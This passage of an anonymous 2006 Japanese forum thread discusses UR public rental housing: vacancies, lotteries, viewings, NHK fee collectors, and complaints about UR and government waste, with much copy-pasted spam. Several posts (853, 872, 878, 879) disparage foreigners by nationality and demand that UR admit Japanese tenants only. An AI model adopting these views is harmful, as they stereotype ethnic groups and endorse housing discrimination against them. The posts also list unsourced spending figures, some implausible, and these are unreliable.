何言われようが「払わないから。いくら頑張っても払わないから。時間の無駄だから他あたった方が良い」
の旨を告げるよ。

そういえばNHK料金を払わないのは違法って言ってたなぁ。
「じゃあ訴えろw」と言ったら冊子渡されたよ。

793 :767:2006/09/13(水) 15:56:01 ID:???
>>777
ありがとうございます!すごく有益でした。

794 :名無し不動さん:2006/09/14(木) 00:19:43 ID:???

公社スレ立っとった

http://money4.2ch.net/test/read.cgi/estate/1158065151/


795 :名無し不動さん:2006/09/14(木) 01:16:39 ID:???
管理事務所のオバチャンの学歴ってどんなもん?

796 :名無し不動さん:2006/09/14(木) 10:23:26 ID:???
おばちゃんは正式な職員とちゃうのがほとんどだろよ
アイランドタワーにいる年取った糞職員を早く首にしろっつーの

797 :名無し不動さん:2006/09/14(木) 20:54:52 ID:???
>>795
管理事務所の運営自体を外注にだしてるので、そこのおばちゃんはURとは関係ない人。
だいたい、役所の外郭団体ってそんなもん。実際のシゴトは外注に出して業者にやらせ、自分たちは本部でお茶飲んでる
ってのがパターン。

しかし、URって若い職員あんましみないね。まぁ、若いうちからあんなところにいたら無能なでくのボウになるわな。


798 :名無し不動さん:2006/09/14(木) 22:56:12 ID:???
コンフォール東鳩ヶ谷(埼玉県鳩ヶ谷市)あそこは住めた所ではなくなるかも

周辺整備 途中(中途半端)状態で中止。階段も新しく直しても通行禁止
車・自転車用にコンフォール東鳩ヶ谷と桜3丁目の接続道路を建設したけど
通行禁止。7号館を建設いつの間にかやっていないし。
7号館はともかく 階段・道路は生活のために早急に利用できるように
しなくては。ぜんぜん説明ないし。

799 :名無しさん@3周年:2006/09/14(木) 23:09:04 ID:Jb1MVHav
社会保険庁という小さな役所のちょっとした無駄遣いだけだけど。

社会保険庁本庁所有の公用車2台(180億円) ※書き間違えではない
社会保険庁公用車247台(4億円)
職員の外国出張費(1億6500万円)
千葉の社会保険大学校内にあるゴルフ練習場の建設・維持費(1200万円)
ゴルフクラブの購入費(20本、6万6000円)
ゴルフボールの購入費(700個、1万8000円))
校内のテニスコートや体育館の維持費(計409万円)
東京の社会保険業務センター内のテニスコート建設費(422万円)
バスケットコート建設費(354万円)
全国の社会保険事務所に導入した利用ゼロの印刷機(921台、1億5030万円)
社会保険庁の年金広報費(10億600万円)
年金資金運用基金への支出、交付金(計3兆3600億円)
グリーンピア建設費と借入金利息・管理費(3800億円)
年金福祉施設や老人ホームの建設・維持費(1兆5700億円)
住宅融資事業費(9300億円)
年金資金運用基金へグリーンピア建設や住宅融資資金の名目で出資金(1兆800億円)
職員の事務費充当(5300億円)
職員の健康診断費(3億7000万円)
勤労者福祉施設維持費(100億円)
社会保険庁が新築した職員宿舎(10億円) ※家賃は東京都心3DKで2万円
年金関連施設の職員向け宿舎(28億800万円) ※家賃は東京新宿区3LDKで月6万956円
社保庁職員宿舎の整備・維持費(42億円)
保養基地運営法人への支出(2兆円、総額5兆6000億円の使途判明)
年金資金運用基金や厚生年金事業振興団総裁の退職金(各4000万円)
厚生年金病院の建設費(全国68カ所、112億1900万円)
福祉施設の建設費(169カ所、92億1400万円)
大規模年金保養基地(グリーンピア)の職員向け宿舎建設費(15億2600万円)、
年金資金運用基金(旧・年金福祉事業団)の職員向け宿舎建設費(2億6500万円)
社会保険庁職員用のマッサージ器(6070万円、計395台)


800 :名無しさん@3周年:2006/09/14(木) 23:46:46 ID:RycKkoKS
都市再生機構も同じ様なものだろう。

801 :名無し不動さん:2006/09/15(金) 00:16:25 ID:???
>>797
外注ってどこ? 派遣会社?

802 :名無し不動さん:2006/09/15(金) 00:35:56 ID:???
豊洲の抽選終わったね!

803 :名無し不動さん:2006/09/15(金) 01:30:09 ID:87q2iIQX
シエルの補欠番号知ってる人いませんか?
いたら、教えてください。

804 :名無し不動さん:2006/09/15(金) 06:00:35 ID:bm6ekXAJ
東戸塚ビューハイツについて、上下左右の騒音がするか知っている人いたら教えてください

805 :名無し不動さん:2006/09/15(金) 11:57:02 ID:???
>>804

騒音はどこにでもあるよ。
あとは運しだい。



806 :名無し不動さん:2006/09/15(金) 15:47:15 ID:bm6ekXAJ
横浜市神奈川区の横浜駅に近い物件はほとんど空きないね

807 :名無し不動さん:2006/09/15(金) 23:11:44 ID:???
>>806
もうすぐ、俺が出るよ

今すんでるところ、
去年の今頃探してたけど、
結構、よりどりみどりで部屋選べたけどなぁ


808 :名無し不動さん:2006/09/16(土) 00:22:20 ID:???
テレビCMとかもうイラネ

809 :名無し不動さん:2006/09/16(土) 02:13:29 ID:???
南神大寺のこと?

810 :名無し不動さん:2006/09/16(土) 04:21:15 ID:???
>>789
アンテナやテレビがあるだけでは受信設備を設置したことにはならないので契約義務も支払い義務もないです。
両方をアンテナ線でつないで放送を受信可能にして始めて「設置」したことになります。

811 :名無し不動さん:2006/09/16(土) 05:58:36 ID:xo1qUFr5
トリトンに住みたいけど、空かないねー

812 :名無し不動さん:2006/09/16(土) 06:02:06 ID:exfX88tn
>>794

そこは重複すれ。

813 :名無し不動さん:2006/09/16(土) 07:32:06 ID:???
>>811
ネットで探してるだろ?営業所いけ

814 :名無し不動さん:2006/09/16(土) 08:12:54 ID:???
水道使うと水道管?がガーガー音うるさいんだけど
見てもらったほうがいいかな?

815 :名無し不動さん:2006/09/16(土) 16:21:38 ID:3KDrwfq8
>>810
ホント?

816 :名無し不動さん:2006/09/16(土) 16:25:06 ID:???
sage↓

817 :名無し不動さん:2006/09/16(土) 16:28:28 ID:???
IDが出なくなった

818 :名無し不動さん:2006/09/16(土) 22:15:30 ID:???
詳しい方に質問です(></

特区分で当選した場合、落選ハガキは本人の名前であれば
住所は現在の所と、その前の所など、複数混在していても
よいのでしょうか?

819 :名無し不動さん:2006/09/16(土) 22:18:09 ID:???
問題ないだろ

820 :名無しさん@3周年:2006/09/16(土) 23:29:29 ID:DfPBeXGm
都市再生機構が数年前賃料の決定方法を変えたけど、

1,何故突然かえたのか?
2、以前の決定方法と、現在の決定方法とでは、賃料にどのような差があるのか?
3,突然、一方的に具体的な説明もなく、方法を変更したことについて問題はないのか?

マスコミにでも問い合わせしてみるか。

821 :名無し不動さん:2006/09/17(日) 00:10:06 ID:vRpHY4MF
トリトンは、実際にはけっこう空き部屋がありますよね。
予約が入っているのかもしれないけど、2,3ヶ月は余裕で空いている
(ドアノブにガスや電気の開始お知らせが付いているからわかる)。

ムーンアイランドも同様です。

822 :名無しさん@3周年:2006/09/17(日) 00:44:33 ID:84tdxh44
しかし、独立行政法人である都市機構は、15兆8,000億円もの借金を抱え、国や自治体
から年間1,000億円の補助金を投入されている。
つまり、破たん寸前の企業が税金でなんとか持ちこたえている状態で、民間なら格安宿舎などありえない。
しかも、職員宿舎のすぐ近くにあるUR賃貸住宅にも、たくさんの空き部屋があるのだ。


都市再生機構の職員給与は公務員より4割高。平均1000万超。

823 :名無し不動さん:2006/09/17(日) 01:11:55 ID:W/cKb5qD
>>821
まじか!!!!
1Kを狙ってる。
だけど、単身部屋は空いてないんだろうな

824 :名無し不動さん:2006/09/17(日) 01:45:36 ID:???
1kは無理!
1年に1戸ぐらいしか出ないよ。

825 :名無し不動さん:2006/09/17(日) 05:35:06 ID:a8GiUMGl
ネット予約して2部屋同時に内覧ってできますか

826 :名無し不動さん:2006/09/17(日) 07:47:13 ID:???
>>825
無理だと思う。
「すでに仮予約」…云々と出た記憶がある。

827 :名無し不動さん:2006/09/17(日) 07:55:33 ID:???
どんな人気物件でも空きはある。
なぜ募集に出さないか問い詰めまくれば答えがでるよ
予約されてるなんてのは口実だから

828 :名無し不動さん:2006/09/17(日) 10:04:16 ID:???
窓口行けば物件のあいてる一覧出してくれるだろ
補修中ですとか、いつごろは入れる状態になりますとか
寝てる物件もすべて

829 :名無しさん@3周年:2006/09/17(日) 10:12:44 ID:Gg8BNfP+
都市再生機構が数年前賃料の決定方法を変えたけど、

1,何故突然かえたのか?
2、以前の決定方法と、現在の決定方法とでは、賃料にどのような差があるのか?
3,突然、一方的に具体的な説明もなく、方法を変更したことについて問題はないのか?

この5年間の家賃について、誤魔化しなしで、新旧両方の基準で家賃をだして
比較してみれば、すぐ分かるんじゃないか?どういう意味だったか。

830 :名無し不動さん:2006/09/17(日) 12:55:27 ID:???
URに昼に引っ越ししてきて午後すぐにNHK集金がきた。
ここは小さい物件で選ばれた住民が管理人もやってるんだけど
管理人がNHKに言ったのかな?
それはない?
あまりにも早すぎてビックリしたよ。

831 :名無し不動さん:2006/09/17(日) 13:03:56 ID:???
電気や水道の開通書類がぶら下がってれば分かるんじゃない。
うちは、勝手に新聞入れ始めた販売店がいて、怒って電話してやめさせたよ。


832 :名無し不動さん:2006/09/17(日) 13:48:08 ID:???
TBSテレビ ウワサのマガジン

愛知県小牧市のニュータウンで県が造成し、URが建築販売した住宅地で地盤沈下。
2件の家で最大で8.8センチの沈み、苦情を言ったところURが買い取り引越し。
道路や他の家にも亀裂、しかし、周囲の他の世帯には通知せず。

URとしては規定通り地下3mまで地盤を調べたが、
軟弱地盤(油を含んだ黒い物質で県は粘土と主張)は3.5m以下より存在する。
造成する前の土地は、産業廃棄業者の所有だったため、地盤沈下だけでなく汚染物質の有無も懸念される。

責任をめぐって県とURが対立
UR:県からそういった事情が知らされていれば、その土地を購入しなかった。
県:URが十分な地盤調査、基礎工事をしなかった。

URが県を提訴、URとしては強気だが時間はかかるとのこと。
URも県も責任無しとなれば住民が汚染物質を除去しなければならない…。



833 :名無し不動さん:2006/09/17(日) 16:00:32 ID:???
県に売った人つまり汚染物質埋めた人の責任は無いのかなー?

834 :名無し不動さん:2006/09/17(日) 16:13:45 ID:a8GiUMGl
家賃等の一時払いですが1回だけしかできないということですか?
それとも別の部屋ならまたできるということですか?

835 :名無し不動さん:2006/09/17(日) 16:25:12 ID:63EfHnq7
今現在、東京の物件で人気があるのはどの物件?
やっぱ都心であたらしめのやつかな?

836 :名無し不動さん:2006/09/17(日) 18:13:07 ID:???
俺は板橋ビュータワーに住みたい。

837 :名無しさん@3周年:2006/09/17(日) 19:46:22 ID:/4aX3SXT
都市再生機構が数年前賃料の決定方法を変えたけど、

1,何故突然かえたのか?
2、以前の決定方法と、現在の決定方法とでは、賃料にどのような差があるのか?
3,突然、一方的に具体的な説明もなく、方法を変更したことについて問題はないのか?

この5年間の家賃について、誤魔化しなしで、新旧両方の基準で家賃をだして
比較してみれば、すぐ分かるんじゃないか?どういう意味だったか。


838 :名無し不動さん:2006/09/17(日) 21:26:09 ID:???
>>833
参拝業者から買うなら、あらかじめ調査しない方が悪いだろうな。
夜店でローレックスを買ってから文句いうようなもんだろw
まぁ、県がどう言い逃れるのかは知らんがね。
こんな裁判でURが勝ったって、
愛知県の税金もUR赤字補填のためにいくら使われてるんだろ?
税金泥棒どうしが責任なすりあってるだけ。
アホらしいよなw


839 :名無し不動さん:2006/09/17(日) 21:48:49 ID:ofzUbV1L
>>830
ほんとNHKは糞以下だなw

840 :名無し不動さん:2006/09/17(日) 23:19:25 ID:???
>>831
契約してないなら集金きてもお金払わないで済むのに。勝手に入れてるわけだし。

841 :名無し不動さん:2006/09/17(日) 23:51:06 ID:???
>>832
その番組みたけど、確かに最初の2軒はURが買取ったっていってたよな。
そうすると、行く行くは他の住宅もURが買い取ることになるのかな。

これでもUR潰れないってすごいねw



842 :名無し不動さん:2006/09/18(月) 00:00:32 ID:???
つーことは、結局ぼったくりURなんだな

843 :名無し不動さん:2006/09/18(月) 00:13:01 ID:???
>>842
一番ぼったくられてるのは納税者ですけどね。

844 :名無し不動さん:2006/09/18(月) 01:56:53 ID:???
まー、こんなとこで文句いったところでね〜ww

ところで、URの新しいCM見た?
随分と路線を変えたもんやね。。

845 :名無し不動さん:2006/09/18(月) 02:28:58 ID:???
せっかく予約取れたのにぼーっとしてて仮契約の予約するの忘れてた。
土曜日に団地の雰囲気見に行ったのになあ。
明日取れればいいけど…

846 :名無し不動さん:2006/09/18(月) 02:55:28 ID:XS2Q6DDB
ネットの仮申込みしてから何日の間に契約すればいいの?

847 :名無しさん@3周年:2006/09/18(月) 03:01:01 ID:4a4dcYYL
しかし、独立行政法人である都市機構は、15兆8,000億円もの借金を抱え、国や自治体
から年間1,000億円の補助金を投入されている。
つまり、破たん寸前の企業が税金でなんとか持ちこたえている状態で、民間なら格安宿舎などありえない。
しかも、職員宿舎のすぐ近くにあるUR賃貸住宅にも、たくさんの空き部屋があるのだ。


都市再生機構の職員給与は公務員より4割高。平均1000万超。


848 :名無し不動さん:2006/09/18(月) 03:24:30 ID:???
>>平均1000万超?
おっさん共がいっぱいいるからね〜。
早くいなくなれっての。

849 :名無し不動さん:2006/09/18(月) 06:09:32 ID:3OTugtkz
契約書類とか入れてくれた白とピンクの紙袋、
I (ハートマーク) URって書いててなんとなく持つのが恥ずかしかった

850 :名無し不動さん:2006/09/18(月) 10:41:07 ID:???
>>849
あんなものに金使うんだったら
家賃下げろよって

あれ、オバサン向けの袋だろ
男の俺には不要だよ
かばんもって歩いてるし


851 :名無し不動さん:2006/09/18(月) 10:48:01 ID:???
職員のクビ切って不動産屋に業務を委託しちゃえばいいのに。

852 :名無しさん@3周年:2006/09/18(月) 11:18:14 ID:42bp0uUT
滋賀県の新幹線駅建設凍結問題は注目だな。
駅ができることで、農地を土地区画整理して、坪15万とか20万とか、それまで
一反幾らだったのが、跳ね上がって、農家は大喜び、さらに市が周辺地を取得。
坪50万とか100万で取得して、闇のお金がどこにいったか不明。
日本の土地問題の縮図だな。
保有コストは極めて安く、公共事業の鉄道,高速、道路を引っ張ってくることによって
地価を数百倍に引き上げる。農家や公務員は大もうけして、負担は、一般国民、新幹線
利用者に押しつける。
凍結反対は、地元の農家、公務員、土建屋、共産党、自民党。建設反対は、一般県民。
その他の国民。共産党が姑息なのは、固定資産税が増えることについては、さらに反対、
とか言って、税金や一般国民から、最後の最後まで搾り取ること。

URはこの方式を全国で展開してるんだろう。

853 :名無し不動さん:2006/09/18(月) 13:16:48 ID:mQb25ShN
入居してから3年半少々だけど、年々住民の「質」が下がっている気がする。

横浜の中心に近い某建替団地なんだけど、

・ 外国人が明らかに増えた。それも、欧米系ではない妙な外国人が増えた。
・ 暴力団員を含む、明らかにカタギではないナリの住民・クルマが増えた。
・ 飲食店従業員を含む、生活サイクルが普通ではない住民が増えた。
・ ぴーちくぱーちくこうるさいプロ市民がのさばって勝手に自治会を立ち上げた。

もういい加減に我慢できないので、転居検討中です。外国人やヤクザは
都心寄りだとどこでも湧くので、今度はもっと奥まったところにしようと思います。。。

というか、頼むから収入基準だけじゃなくてちゃんと入居者を選別してよ!>UR
このままだと、民間の不動産屋が入居を断る層で埋め尽くされると思うぞ?

854 :名無し不動さん:2006/09/18(月) 13:18:58 ID:F+7eiuWz
以前は物件についていろいろ語る平和な?スレだったのに
最近は単なる粘着クレーマーの巣窟になってきたな。

不平不満があるならこんなとこでネチネチ書き込んでないで
直接URなり国交省なりに怒鳴り込みゃいいだろw

855 :名無しさん@3周年:2006/09/18(月) 13:41:23 ID:lbEycg6W
都市再生機構が数年前賃料の決定方法を変えたけど、

1,何故突然かえたのか?
2、以前の決定方法と、現在の決定方法とでは、賃料にどのような差があるのか?
3,突然、一方的に具体的な説明もなく、方法を変更したことについて問題はないのか?

マスコミにでも問い合わせしてみるか。


856 :名無し不動さん:2006/09/18(月) 13:46:55 ID:???
ここは匿名掲示板。物件について語るもよし、URの組織について語るもよし。
むしろ、物件の話をしようと思ってきたらURの組織の問題の書き込みが目に入るっていうのが、
匿名掲示板の醍醐味じゃないの。
本当に物件に語りたいなら、それこそ直接URに電話でもすれば?



857 :名無しさん@3周年:2006/09/18(月) 14:00:38 ID:W4nxLdL2
>>856
俺もそう思う。もともとこのスレ、URの宣伝板になってたみたい。
有名になったのが、「UR初めての者です。」「質問させてください。」「サンクス」
ヤラセっぽいと思うのは俺だけ?


858 :名無しさん@3周年:2006/09/18(月) 14:45:19 ID:ua4dgp43
コピー

道路公団民営化に際して、道路公団の宿舎、保養所の実体が明らかにされましたが、
都市再生機構なんてどうなんでしょうか。膨大な赤字をかかえながら、給与だけでなく
福利厚生施設なんてのも相変わらず充実しまくっているんじゃないでしょうか。
都市再生機構については、民間に貸している賃貸物件については、数年前、突然家賃
設定基準が変わり、もしかすると実質的な大幅値上げ(下がるはずだったのに基準を
変えて下がらないようにしたのではないかと聞いたことがあります)したにもかかわらず、
職員だけはもしかすると、相変わらず優雅な宿舎住まいが続いてるのかも。


859 :名無し不動さん:2006/09/18(月) 14:46:44 ID:???
社員宣伝カキコにせよ外部書込委託にせよ、お役所URがそんなマメな事するとは思わない

860 :名無しさん@3周年:2006/09/18(月) 14:49:19 ID:7p2oOMma
ありました、高台の上に。これですね
川崎市の百合丘第二職員宿舎は、築2年で駅からは徒歩1分。
それでいて家賃は、3LDKの73平方メートルで4万円前後だ。
職員宿舎の住民は、当然の福利厚生として受け止めているという。
<都市機構職員宿舎の住人>
「会社員の“その会社の特典”かなって思います」
しかし、独立行政法人である都市機構は、15兆8,000億円もの借金を抱え、国や自治体
から年間1,000億円の補助金を投入されている。
つまり、破たん寸前の企業が税金でなんとか持ちこたえている状態で、民間なら格安宿舎などありえない。
しかも、職員宿舎のすぐ近くにあるUR賃貸住宅にも、たくさんの空き部屋があるのだ。
職員宿舎がどうしても要ると言うのなら、これらの空室に入居すればいいのでは、という疑問も出てくる。
国会で公益法人の問題を追及している民主党の尾立源幸議員も、視察で疑問を投げかけた。
<民主党・尾立源幸議員>
「ちょっとお聞きしたいのは、公団に空き状況がある中で、そこ(空室)に皆さんが入るという選択肢はないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「もともと宿舎の趣旨は福利厚生の面もございますが、九州とか東京から人事異動がありますと、
その時に急きょ入れないといけないんです」
<民主党・尾立源幸議員>
「ここに民間の方に入っていただいて、職員の方に古い所に移っていただくという考えはないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「そういう考え方、今、急に聞かれましてもですね、お答えすることできませんけど…」
さらに、格安の家賃や駐車場代の根拠について聞くと…。
<都市機構西日本支社・岡田博副支社長(当時)>
「料金の決め方は、『国家公務員宿舎法』に沿って決めています。駐車場料金も同様に、
『国家公務員宿舎法』に基づいて決めています」
と、あたかも法律で決められているかのような説明だが、都市再生機構法を見ると、
“国家公務員宿舎法は適用しない”と明確に書かれている。
つまり、法的根拠は何もないのだ。

ここの職員組合は共産党系。


861 :名無し不動さん:2006/09/18(月) 15:38:56 ID:???
>>859
ずいぶん言い訳がましいようだが、
外部書き込み委託ならお役所仕事じゃないだろ?

ま、いいけどね。やらせ書き込みも匿名掲示板の花だよ。


862 :名無し不動さん:2006/09/18(月) 17:11:10 ID:???
外部に丸投げもお役所仕事。

863 :名無し不動さん:2006/09/18(月) 18:03:19 ID:???
匿名掲示板対策を外部に丸投げするのはお役所シゴトだが、
ここにまめに書き込むのはお役所シゴトじゃないだろ?


864 :名無し不動さん:2006/09/18(月) 18:12:36 ID:???
笑っちゃうのは丸投げされた外部が問題がおきても公団に何もいっていけないこと。
ユーザー完全無視のお役所仕事最強。

865 :名無し不動さん:2006/09/18(月) 19:14:26 ID:???
何一人でぶつぶつ言ってるんだよ。

866 :名無し不動さん:2006/09/18(月) 19:28:18 ID:KQISeUIr
>>都心寄りだとどこでも湧くので、今度はもっと奥まったところにしようと思います。。。
奥まった所は、くまが出るらしいよ、最近は。


867 :名無し不動さん:2006/09/18(月) 20:16:38 ID:???
DQN率ってやっぱり高いの?



868 :名無し不動さん:2006/09/18(月) 20:43:01 ID:Y+I+hS+w
>>867
おまえもDQNになれよそうすりゃ気にならなくなるから

869 :名無し不動さん:2006/09/18(月) 21:32:40 ID:???
>>868
いやどのくらい仲間がいるか聞きたいんだよ。
DQN率高いのか、URって?



870 :名無し不動さん:2006/09/18(月) 21:40:31 ID:???
うちは堅気の人が大半を占めているけどな。
1人いるインド人も、エレベーターの前で出くわしたとき、
こちらに頭を下げるなど、礼儀正しい。

都心、築25年くらい、未だに銘板が住都公団

871 :名無し不動さん:2006/09/18(月) 21:59:01 ID:???
>>870
おれもインド人なんだけど、そこどこ?



872 :名無し不動さん:2006/09/18(月) 23:07:03 ID:???
家賃が安ければ住民の質が下がるのはやむをえない。
何か問題が起きたら対応してもらえばよい。

853 :名無し不動さん :2006/09/18(月) 13:16:48 ID:mQb25ShN
入居してから3年半少々だけど、年々住民の「質」が下がっている気がする。

横浜の中心に近い某建替団地なんだけど、

・ 外国人が明らかに増えた。それも、欧米系ではない妙な外国人が増えた。
・ 暴力団員を含む、明らかにカタギではないナリの住民・クルマが増えた。
・ 飲食店従業員を含む、生活サイクルが普通ではない住民が増えた。
・ ぴーちくぱーちくこうるさいプロ市民がのさばって勝手に自治会を立ち上げた。

もういい加減に我慢できないので、転居検討中です。外国人やヤクザは
都心寄りだとどこでも湧くので、今度はもっと奥まったところにしようと思います。。。

というか、頼むから収入基準だけじゃなくてちゃんと入居者を選別してよ!>UR
このままだと、民間の不動産屋が入居を断る層で埋め尽くされると思うぞ?




873 :名無し不動さん:2006/09/18(月) 23:38:29 ID:???
お隣が引き戸を閉める音が気になるは人はいますか?

874 :名無し不動さん:2006/09/19(火) 00:23:26 ID:???
都内だけど、最近のURってDQNが入れるような
低額物件ない気がするけど・・・

DQNって言ってるのは地方なのかな?

875 :名無し不動さん:2006/09/19(火) 00:39:49 ID:???
まー、都内でも10万以下の物件もあるからね〜。

876 :名無し不動さん:2006/09/19(火) 01:10:08 ID:???
>>872
民間の不動産屋が断るような人が入れるのが
urの数少ない存在意義だと思うが。

877 :名無し不動さん:2006/09/19(火) 01:15:35 ID:dClYLkmt
>>870>>871
わたちも、印度人あるよ。

878 :名無し不動さん:2006/09/19(火) 05:05:21 ID:???
インド人に限らず外国人は民間借りろよ。
インド人は料理するとフロア全体が臭くなって臭いが暫く取れない。
中国人はマナーが悪すぎる。
昨日も駐輪してある自転車を何台か倒したから睨んでやったが知らん顔して部屋に行きやがった。
韓国人もいるが詳しくは知らん。
パキスタン人は何考えてるか判らんし怖いわ。
入居者は日本人だけにしろUR!

879 :名無し不動さん:2006/09/19(火) 10:20:51 ID:???
俺、仕事上多人種と接触するけど、おまいら(東南)アジア人のこと誤解しているよ。
基本的に(東南)アジア人は日本人のマナーを教えれば理解してくれる。(特アを除く)
どうにもならんのは、中南米と中国と中東の連中。これは絶対だ。

880 :名無し不動さん:2006/09/19(火) 10:50:52 ID:???
>>878
にらんだって意味わからん。口で言え。

881 :名無し不動さん:2006/09/19(火) 11:25:18 ID:???
うちもインド人多いけど、彼らは普通だ。
初めて韓国人がきたんだけど、そっちの方がひどい。
せめてエレベータでは金切り声で話さないでほしいよ。
うちのところはURはいいんだけど、都営が脇にあるんで
そっちがやばいよ。
中学生が奇声上げてたりする。
その棟の隣りのUR棟はがらがらだけどネットにも出ない。

882 :名無し不動さん:2006/09/19(火) 12:21:27 ID:???
>>881
都営が脇にあるって、南千住?

883 :名無し不動さん:2006/09/19(火) 12:27:48 ID:???
ううん、西側

884 :882:2006/09/19(火) 13:54:54 ID:???
>>883
南千住より西ってこと?

885 :名無し不動さん:2006/09/19(火) 14:28:45 ID:???
西側って言ったら西東京の事だろ。少なくとも山手線より西側って事だろw

886 :名無し不動さん:2006/09/19(火) 14:32:40 ID:???
何で基準値が足立区なのー。
東京は23区あるぞー。

887 :名無し不動さん:2006/09/19(火) 14:38:52 ID:???
戸田はどうかな。
ペットかえるんでしょ?

888 :名無し不動さん:2006/09/19(火) 16:15:57 ID:???
888

889 :名無しさん@3周年:2006/09/19(火) 16:40:04 ID:K2VEvs3F
新築の都市再生機構の職員用宿舎には看板どころか、都市再生機構の宿舎と
わかるようなものが何もない。隠してるんだね。
確かに、公団住宅より豪華、格安だもんな。

890 :名無し不動さん:2006/09/19(火) 16:52:50 ID:???
>>889
どこにあるの?

891 :名無し不動さん:2006/09/19(火) 17:55:28 ID:???
百合丘の宿舎は駅に一番近くて便利な場所を職員用にしてんだよな

892 :名無し不動さん:2006/09/19(火) 18:34:03 ID:m3N+ZWCU
>>832
さっきJチャンネルでやってたね

893 :名無しさん@3周年:2006/09/19(火) 22:05:12 ID:3DRzS4CJ
公団の多くの自治会は共産党関係者が幅をきかせてるし、のぼり旗には
「収入に応じた家賃を」とか書いて運動してるが、都市再生機構の職員組合は
共産党系なんだろう。なぜ、職員の宿舎は収入に応じた家賃にしないんだ?
一般の人には「収入に応じた家賃を」共産系組合員は「とにかく安い家賃を」
とか使い分けてると言われてるんだが。

894 :名無し不動さん :2006/09/19(火) 22:22:20 ID:wbRac5Aw
なるほど。共産党て汚い奴らだな。

895 :名無し不動さん:2006/09/20(水) 00:00:00 ID:khTfT6/f
豊洲シエルタワーの資格確認が始まったみたいです。
補欠ですが書類が結構面倒だって話だからキャンセルしようかな
と思ってます。

896 :名無し不動さん:2006/09/20(水) 01:35:11 ID:???
>>895
住む気があるなら行っといた方がええよ。
あそこキャンセルかなり出そうな感じがするから。

897 :名無し不動さん:2006/09/20(水) 01:52:16 ID:N+AJGK/h
大企業の社宅になってるんだろう。

898 :名無し不動さん:2006/09/20(水) 02:02:41 ID:i4qnc0ug
公団の多くの自治会は共産党関係者が幅をきかせてるし、のぼり旗には
「収入に応じた家賃を」とか書いて運動してるが、都市再生機構の職員組合は
共産党系なんだろう。なぜ、職員の宿舎は収入に応じた家賃にしないんだ?
一般の人には「収入に応じた家賃を」共産系組合員は「とにかく安い家賃を」
とか使い分けてると言われてるんだが。


899 :名無し不動さん:2006/09/20(水) 02:03:55 ID:i4qnc0ug
ありました、高台の上に。これですね
川崎市の百合丘第二職員宿舎は、築2年で駅からは徒歩1分。
それでいて家賃は、3LDKの73平方メートルで4万円前後だ。
職員宿舎の住民は、当然の福利厚生として受け止めているという。
<都市機構職員宿舎の住人>
「会社員の“その会社の特典”かなって思います」
しかし、独立行政法人である都市機構は、15兆8,000億円もの借金を抱え、国や自治体
から年間1,000億円の補助金を投入されている。
つまり、破たん寸前の企業が税金でなんとか持ちこたえている状態で、民間なら格安宿舎などありえない。
しかも、職員宿舎のすぐ近くにあるUR賃貸住宅にも、たくさんの空き部屋があるのだ。
職員宿舎がどうしても要ると言うのなら、これらの空室に入居すればいいのでは、という疑問も出てくる。
国会で公益法人の問題を追及している民主党の尾立源幸議員も、視察で疑問を投げかけた。
<民主党・尾立源幸議員>
「ちょっとお聞きしたいのは、公団に空き状況がある中で、そこ(空室)に皆さんが入るという選択肢はないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「もともと宿舎の趣旨は福利厚生の面もございますが、九州とか東京から人事異動がありますと、
その時に急きょ入れないといけないんです」
<民主党・尾立源幸議員>
「ここに民間の方に入っていただいて、職員の方に古い所に移っていただくという考えはないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「そういう考え方、今、急に聞かれましてもですね、お答えすることできませんけど…」
さらに、格安の家賃や駐車場代の根拠について聞くと…。
<都市機構西日本支社・岡田博副支社長(当時)>
「料金の決め方は、『国家公務員宿舎法』に沿って決めています。駐車場料金も同様に、
『国家公務員宿舎法』に基づいて決めています」
と、あたかも法律で決められているかのような説明だが、都市再生機構法を見ると、
“国家公務員宿舎法は適用しない”と明確に書かれている。
つまり、法的根拠は何もないのだ。

ここの職員組合は共産党系。


900 :名無し不動さん:2006/09/20(水) 02:06:15 ID:i4qnc0ug
公団の多くの自治会は共産党関係者が幅をきかせてるし、のぼり旗には
「収入に応じた家賃を」とか書いて運動してるが、都市再生機構の職員組合は
共産党系なんだろう。なぜ、職員の宿舎は収入に応じた家賃にしないんだ?
一般の人には「収入に応じた家賃を」共産系組合員は「とにかく安い家賃を」
とか使い分けてると言われてるんだが。

901 :名無し不動さん:2006/09/20(水) 02:46:01 ID:khTfT6/f
>>896
そうですか。でも補欠10番台後半なんです。。。
私も最初は補欠数からしてかなりキャンセルがでると
予想していましたが、色々なところで人気物件と書いて
ありました。

902 :名無し不動さん:2006/09/20(水) 03:17:01 ID:pCAaCV6b
内覧するのに申込書パソコンでプリントするって書いてあるけど
プリンターないので手書きでいいですか?

903 :名無し不動さん:2006/09/20(水) 05:24:06 ID:???
問題無いと思うけど、一応確認のTELしてみると良いよ。
営業センターじゃなく、鍵を渡される現地管理事務所の方。

904 :名無し不動さん:2006/09/20(水) 12:21:49 ID:???
>>901
このあと大崎が控えてるから補欠組は辞退者がほとんどだと思われ。
面倒がらずにやる価値はあると思うよ。

905 :名無し不動さん:2006/09/20(水) 19:52:23 ID:???
ココス上福岡は意外にデカかった。
内覧はしてない。
>>902
何それ?
内覧したけどそんなの持って行かなかったなあ。

906 :名無し不動さん:2006/09/20(水) 19:55:03 ID:PjJ3WnjA
このスレ、なんか壊れてないか?専ブラで見てるが調子がおかしい。

907 :名無し不動さん:2006/09/20(水) 20:56:04 ID:sA5b2zzR
公団の多くの自治会は共産党関係者が幅をきかせてるし、のぼり旗には
「収入に応じた家賃を」とか書いて運動してるが、都市再生機構の職員組合は
共産党系なんだろう。なぜ、職員の宿舎は収入に応じた家賃にしないんだ?
一般の人には「収入に応じた家賃を」共産系組合員は「とにかく安い家賃を」
とか使い分けてると言われてるんだが。


908 :名無し不動さん:2006/09/20(水) 21:04:32 ID:???
そういうのは証拠を掴んでつきだしてやればいいと思うお。



909 :名無し不動さん:2006/09/20(水) 23:26:20 ID:Mt3i9qm2
ありました、高台の上に。これですね
川崎市の百合丘第二職員宿舎は、築2年で駅からは徒歩1分。
それでいて家賃は、3LDKの73平方メートルで4万円前後だ。
職員宿舎の住民は、当然の福利厚生として受け止めているという。
<都市機構職員宿舎の住人>
「会社員の“その会社の特典”かなって思います」
しかし、独立行政法人である都市機構は、15兆8,000億円もの借金を抱え、国や自治体
から年間1,000億円の補助金を投入されている。
